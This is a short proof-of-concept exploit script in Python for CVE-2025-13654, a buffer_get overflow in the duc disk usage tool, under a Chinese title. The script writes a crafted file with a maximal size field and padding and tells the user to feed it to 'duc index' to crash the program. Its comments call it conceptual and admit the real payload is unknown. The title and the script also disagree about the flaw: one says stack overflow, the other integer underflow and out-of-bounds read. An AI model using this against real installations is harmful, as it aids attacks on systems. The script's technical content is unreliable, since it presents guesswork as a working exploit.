CVE-2025-13654 duc磁盘管理工具buffer_get函数栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow This PoC demonstrates triggering the integer underflow condition in duc's buffer_get function. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_input(): """ Generate input that triggers integer underflow in buffer_get function. The exact payload depends on the specific implementation details. """ # This is a conceptual PoC - the actual exploit requires analyzing # the specific buffer_get implementation in duc source code # Common pattern: Trigger underflow by providing specific size values # that cause the length check to fail due to integer wraparound payload = bytearray() # Header/identifier for duc database format payload.extend(b'DUC\x00') # Magic bytes # Size field that will underflow when processed # -1 as unsigned int = 0xFFFFFFFF (4294967295) payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Size causing underflow # Additional crafted data payload.extend(b'A' * 64) # Padding return bytes(payload) def main(): print("CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow") print("=" * 60) print("Target: duc < 1.4.6") print("Vulnerability: Integer underflow in buffer_get leading to OOB read") print("=" * 60) # Generate the malicious payload payload = create_malicious_input() print(f"\nGenerated payload length: {len(payload)} bytes") print(f"Payload (hex): {payload.hex()}") # Save to file for testing with duc output_file = "cve-2025-13654-poc.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"\nPayload saved to: {output_file}") print("\nUsage: duc index " + output_file) print("Expected: Program crash due to out-of-bounds read") return 0 if __name__ == "__main__": sys.exit(main())